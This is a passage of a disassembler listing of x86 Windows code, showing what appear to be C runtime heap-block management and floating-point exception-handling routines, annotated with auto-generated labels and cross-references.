dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_4194B6 test bl, 1 jnz loc_4194AF add ebx, ecx cmp esi, ebx jg loc_4194AF mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41937F push 3Fh pop ecx mov [ebp+var_8], ecx loc_41937F: ; CODE XREF: sub_419308+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4193CF cmp ecx, 20h jnb short loc_4193AB mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_4193CF mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4193CF ; --------------------------------------------------------------------------- loc_4193AB: ; CODE XREF: sub_419308+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4193CF mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4193CF: ; CODE XREF: sub_419308+7Dj ; sub_419308+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41949D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_419409 push 3Fh pop edi loc_419409: ; CODE XREF: sub_419308+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41948B mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_419462 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419455 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_419455: ; CODE XREF: sub_419308+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_419487 ; --------------------------------------------------------------------------- loc_419462: ; CODE XREF: sub_419308+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419478 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_419478: ; CODE XREF: sub_419308+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_419487: ; CODE XREF: sub_419308+158j shr edx, cl or [eax], edx loc_41948B: ; CODE XREF: sub_419308+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4194A0 ; --------------------------------------------------------------------------- loc_41949D: ; CODE XREF: sub_419308+E5j mov edx, [ebp+arg_4] loc_4194A0: ; CODE XREF: sub_419308+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4195F6 ; --------------------------------------------------------------------------- loc_4194AF: ; CODE XREF: sub_419308+52j ; sub_419308+5Cj xor eax, eax jmp loc_4195F9 ; --------------------------------------------------------------------------- loc_4194B6: ; CODE XREF: sub_419308+49j jge loc_4195F6 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_4194E1 push 3Fh pop esi loc_4194E1: ; CODE XREF: sub_419308+1D4j test byte ptr [ebp+var_4], 1 jnz loc_419570 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4194FA push 3Fh pop esi loc_4194FA: ; CODE XREF: sub_419308+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_419549 cmp esi, 20h jnb short loc_419525 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_419546 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_419546 ; --------------------------------------------------------------------------- loc_419525: ; CODE XREF: sub_419308+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_419546 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_419546: ; CODE XREF: sub_419308+214j ; sub_419308+21Bj ... mov ebx, [ebp+arg_4] loc_419549: ; CODE XREF: sub_419308+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_419570 push 3Fh pop esi loc_419570: ; CODE XREF: sub_419308+1DDj ; sub_419308+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4195ED mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_4195C4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4195B7 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4195B7: ; CODE XREF: sub_419308+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_4195E9 ; --------------------------------------------------------------------------- loc_4195C4: ; CODE XREF: sub_419308+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4195DA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4195DA: ; CODE XREF: sub_419308+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_4195E9: ; CODE XREF: sub_419308+2BAj shr edx, cl or [eax], edx loc_4195ED: ; CODE XREF: sub_419308+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4195F6: ; CODE XREF: sub_419308+1A2j ; sub_419308:loc_4194B6j push 1 pop eax loc_4195F9: ; CODE XREF: sub_419308+1A9j pop edi pop esi pop ebx leave retn sub_419308 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4195FE(int,int,double,int) sub_4195FE proc near ; CODE XREF: sub_415E6C+51p ; sub_415FB3+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_438708, 0 jnz short loc_419633 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_419BB3 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_419633: ; CODE XREF: sub_4195FE+Aj push 0FFFFh mov dword_4694B4, 21h push [ebp+arg_C] call sub_419E26 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4195FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419651(int,int,double,double,int) sub_419651 proc near ; CODE XREF: sub_415E6C:loc_415F2Fp ; sub_415FB3:loc_416076p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41999C add esp, 0Ch test eax, eax jnz short loc_41968F lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4196E9 add esp, 18h loc_41968F: ; CODE XREF: sub_419651+1Aj push [ebp+arg_0] call sub_419C86 cmp dword_438708, 0 pop ecx jnz short loc_4196CD test eax, eax jz short loc_4196CD push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_419BB3 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_4196CD: ; CODE XREF: sub_419651+4Ej ; sub_419651+52j push eax call sub_419C3B mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_419E26 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196E9 proc near ; CODE XREF: sub_419651+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41971B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41971B: ; CODE XREF: sub_4196E9+23j test cl, 2 jz short loc_41972E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41972E: ; CODE XREF: sub_4196E9+35j test cl, bl jz short loc_419740 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_419740: ; CODE XREF: sub_4196E9+47j test cl, 4 jz short loc_419753 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_419753: ; CODE XREF: sub_4196E9+5Aj test cl, 8 jz short loc_419766 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_419766: ; CODE XREF: sub_4196E9+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_419E09 test al, bl jz short loc_4197EF mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4197EF: ; CODE XREF: sub_4196E9+FDj test al, 4 jz short loc_4197FA mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4197FA: ; CODE XREF: sub_4196E9+108j test al, 8 jz short loc_419805 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_419805: ; CODE XREF: sub_4196E9+113j test al, 10h jz short loc_41980F mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41980F: ; CODE XREF: sub_4196E9+11Ej test al, 20h jz short loc_419819 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_419819: ; CODE XREF: sub_4196E9+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_419858 cmp eax, 400h jz short loc_41984A cmp eax, 800h jz short loc_41983E cmp eax, ecx jnz short loc_41985E mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41985E ; --------------------------------------------------------------------------- loc_41983E: ; CODE XREF: sub_4196E9+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_419854 ; --------------------------------------------------------------------------- loc_41984A: ; CODE XREF: sub_4196E9+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_419854: ; CODE XREF: sub_4196E9+15Fj mov [eax], ecx jmp short loc_41985E ; --------------------------------------------------------------------------- loc_419858: ; CODE XREF: sub_4196E9+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41985E: ; CODE XREF: sub_4196E9+14Bj ; sub_4196E9+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_419889 cmp eax, 200h jz short loc_41987C cmp eax, ecx jnz short loc_419896 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_419896 ; --------------------------------------------------------------------------- loc_41987C: ; CODE XREF: sub_4196E9+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_419894 ; --------------------------------------------------------------------------- loc_419889: ; CODE XREF: sub_4196E9+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_419894: ; CODE XREF: sub_4196E9+19Ej mov [eax], ecx loc_419896: ; CODE XREF: sub_4196E9+189j ; sub_4196E9+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_419E17 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_421184 mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_419910 and dword ptr [esi], 0FFFFFFFEh loc_419910: ; CODE XREF: sub_4196E9+222j test byte ptr [eax+8], 8 jz short loc_419919 and dword ptr [esi], 0FFFFFFFBh loc_419919: ; CODE XREF: sub_4196E9+22Bj test byte ptr [eax+8], 4 jz short loc_419922 and dword ptr [esi], 0FFFFFFF7h loc_419922: ; CODE XREF: sub_4196E9+234j test byte ptr [eax+8], 2 jz short loc_41992B and dword ptr [esi], 0FFFFFFEFh loc_41992B: ; CODE XREF: sub_4196E9+23Dj test [eax+8], bl jz short loc_419933 and dword ptr [esi], 0FFFFFFDFh loc_419933: ; CODE XREF: sub_4196E9+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_419967 dec ecx jz short loc_41995B dec ecx jz short loc_419951 dec ecx jnz short loc_419969 or byte ptr [esi+1], 0Ch jmp short loc_419969 ; --------------------------------------------------------------------------- loc_419951: ; CODE XREF: sub_4196E9+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_419963 ; --------------------------------------------------------------------------- loc_41995B: ; CODE XREF: sub_4196E9+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_419963: ; CODE XREF: sub_4196E9+270j mov [esi], ecx jmp short loc_419969 ; --------------------------------------------------------------------------- loc_419967: ; CODE XREF: sub_4196E9+257j and [esi], edx loc_419969: ; CODE XREF: sub_4196E9+260j ; sub_4196E9+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_419989 dec ecx jz short loc_419980 dec ecx jnz short loc_419992 and [esi], edx jmp short loc_419992 ; --------------------------------------------------------------------------- loc_419980: ; CODE XREF: sub_4196E9+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_419990 ; --------------------------------------------------------------------------- loc_419989: ; CODE XREF: sub_4196E9+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_419990: ; CODE XREF: sub_4196E9+29Ej mov [esi], ecx loc_419992: ; CODE XREF: sub_4196E9+291j ; sub_4196E9+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4196E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41999C proc near ; CODE XREF: sub_419651+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4199C7 test byte ptr [ebp+arg_8], bl jz short loc_4199C7 push ebx call sub_419E49 pop ecx and edi, 0FFFFFFF7h jmp loc_419B91 ; --------------------------------------------------------------------------- loc_4199C7: ; CODE XREF: sub_41999C+15j ; sub_41999C+1Aj test al, 4 jz short loc_4199E1 test byte ptr [ebp+arg_8], 4 jz short loc_4199E1 push 4 call sub_419E49 pop ecx and edi, 0FFFFFFFBh jmp loc_419B91 ; --------------------------------------------------------------------------- loc_4199E1: ; CODE XREF: sub_41999C+2Dj ; sub_41999C+33j test al, bl jz loc_419ABB test byte ptr [ebp+arg_8], 8 jz loc_419ABB push 8 call sub_419E49 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_419A93 cmp ecx, 400h jz short loc_419A6B cmp ecx, 800h jz short loc_419A43 cmp ecx, eax jnz loc_419AB3 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fld dbl_438098 fnstsw ax sahf ja short loc_419A3B fchs loc_419A3B: ; CODE XREF: sub_41999C+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419AB1 ; --------------------------------------------------------------------------- loc_419A43: ; CODE XREF: sub_41999C+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fnstsw ax sahf jbe short loc_419A5B fld dbl_438088 jmp short loc_419A63 ; --------------------------------------------------------------------------- loc_419A5B: ; CODE XREF: sub_41999C+B5j fld dbl_438098 fchs loc_419A63: ; CODE XREF: sub_41999C+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419AB1 ; --------------------------------------------------------------------------- loc_419A6B: ; CODE XREF: sub_41999C+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fnstsw ax sahf jbe short loc_419A83 fld dbl_438098 jmp short loc_419A8B ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_41999C+DDj fld dbl_438088 fchs loc_419A8B: ; CODE XREF: sub_41999C+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419AB1 ; --------------------------------------------------------------------------- loc_419A93: ; CODE XREF: sub_41999C+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fld dbl_438088 fnstsw ax sahf ja short loc_419AAB fchs loc_419AAB: ; CODE XREF: sub_41999C+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_419AB1: ; CODE XREF: sub_41999C+A5j ; sub_41999C+CDj ... fstp qword ptr [ecx] loc_419AB3: ; CODE XREF: sub_41999C+81j and edi, 0FFFFFFFEh jmp loc_419B91 ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_41999C+47j ; sub_41999C+51j test al, 2 jz loc_419B91 test byte ptr [ebp+arg_8], 10h jz loc_419B91 push esi xor esi, esi test al, 10h jz short loc_419AD6 mov esi, ebx loc_419AD6: ; CODE XREF: sub_41999C+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_4217B0 fnstsw ax sahf jz loc_419B7F fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_419D48 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_419B21 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_419B75 ; --------------------------------------------------------------------------- loc_419B21: ; CODE XREF: sub_41999C+17Aj fld [ebp+var_C] fcomp dbl_4217B0 fnstsw ax sahf jnb short loc_419B33 mov edx, ebx jmp short loc_419B35 ; --------------------------------------------------------------------------- loc_419B33: ; CODE XREF: sub_41999C+191j xor edx, edx loc_419B35: ; CODE XREF: sub_41999C+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_419B69 sub eax, ecx loc_419B4C: ; CODE XREF: sub_41999C+1CBj test byte ptr [ebp+var_C], bl jz short loc_419B57 test esi, esi jnz short loc_419B57 mov esi, ebx loc_419B57: ; CODE XREF: sub_41999C+1B3j ; sub_41999C+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_419B63 or byte ptr [ebp+var_C+3], 80h loc_419B63: ; CODE XREF: sub_41999C+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_419B4C loc_419B69: ; CODE XREF: sub_41999C+1ACj test edx, edx jz short loc_419B75 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_419B75: ; CODE XREF: sub_41999C+183j ; sub_41999C+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_419B81 ; --------------------------------------------------------------------------- loc_419B7F: ; CODE XREF: sub_41999C+14Ej mov esi, ebx loc_419B81: ; CODE XREF: sub_41999C+1E1j test esi, esi pop esi jz short loc_419B8E push 10h call sub_419E49 pop ecx loc_419B8E: ; CODE XREF: sub_41999C+1E8j and edi, 0FFFFFFFDh loc_419B91: ; CODE XREF: sub_41999C+26j ; sub_41999C+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_419BA8 test byte ptr [ebp+arg_8], 20h jz short loc_419BA8 push 20h call sub_419E49 pop ecx and edi, 0FFFFFFEFh loc_419BA8: ; CODE XREF: sub_41999C+1F9j ; sub_41999C+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int) sub_419BB3 proc near ; CODE XREF: sub_4195FE+2Bp ; sub_419651+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_419C61 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_419C1E mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_419E26 lea eax, [ebp+var_20] push eax call sub_41D813 add esp, 0Ch test eax, eax jnz short loc_419C18 push esi call sub_419C3B pop ecx loc_419C18: ; CODE XREF: sub_419BB3+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_419C1E: ; CODE XREF: sub_419BB3+14j push 0FFFFh push [ebp+arg_20] call sub_419E26 push [ebp+arg_0] call sub_419C3B fld [ebp+arg_18] add esp, 0Ch leave retn sub_419BB3 endp ; =============== S U B R O U T I N E ======================================= sub_419C3B proc near ; CODE XREF: sub_419651+7Dp ; sub_419BB3+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_419C56 jle short locret_419C60 cmp eax, 3 jg short locret_419C60 mov dword_4694B4, 22h retn ; --------------------------------------------------------------------------- loc_419C56: ; CODE XREF: sub_419C3B+7j mov dword_4694B4, 21h locret_419C60: ; CODE XREF: sub_419C3B+9j ; sub_419C3B+Ej retn sub_419C3B endp ; =============== S U B R O U T I N E ======================================= sub_419C61 proc near ; CODE XREF: sub_419BB3+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_437FB0 loc_419C68: ; CODE XREF: sub_419C61+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_419C7E add eax, 8 inc ecx cmp eax, offset dbl_438088 jl short loc_419C68 xor eax, eax retn ; --------------------------------------------------------------------------- loc_419C7E: ; CODE XREF: sub_419C61+Dj mov eax, off_437FB4[ecx*8] retn sub_419C61 endp ; =============== S U B R O U T I N E ======================================= sub_419C86 proc near ; CODE XREF: sub_419651+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_419C92 push 5 jmp short loc_419CA8 ; --------------------------------------------------------------------------- loc_419C92: ; CODE XREF: sub_419C86+6j test al, 8 jz short loc_419C9A push 1 jmp short loc_419CA8 ; --------------------------------------------------------------------------- loc_419C9A: ; CODE XREF: sub_419C86+Ej test al, 4 jz short loc_419CA2 push 2 jmp short loc_419CA8 ; --------------------------------------------------------------------------- loc_419CA2: ; CODE XREF: sub_419C86+16j test al, 1 jz short loc_419CAA push 3 loc_419CA8: ; CODE XREF: sub_419C86+Aj ; sub_419C86+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_419CAA: ; CODE XREF: sub_419C86+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_419C86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419CB3(double) sub_419CB3 proc near ; CODE XREF: sub_415E6C:loc_415EF2p ; sub_415FB3:loc_416039p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_419CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419CC5(double,int) sub_419CC5 proc near ; CODE XREF: sub_419D48+82p ; sub_419D48+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_419CC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CEE proc near ; CODE XREF: sub_415E6C+31p ; sub_415FB3+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_419D05 cmp [ebp+arg_0], edx jnz short loc_419D17 push 1 jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D05: ; CODE XREF: sub_419CEE+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_419D17 cmp [ebp+arg_0], edx jnz short loc_419D17 push 2 jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D17: ; CODE XREF: sub_419CEE+11j ; sub_419CEE+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_419D2A push 3 jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D2A: ; CODE XREF: sub_419CEE+36j cmp cx, 7FF0h jnz short loc_419D44 test [ebp+arg_4], 7FFFFh jnz short loc_419D3F cmp [ebp+arg_0], edx jz short loc_419D44 loc_419D3F: ; CODE XREF: sub_419CEE+4Aj push 4 loc_419D41: ; CODE XREF: sub_419CEE+15j ; sub_419CEE+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_419D44: ; CODE XREF: 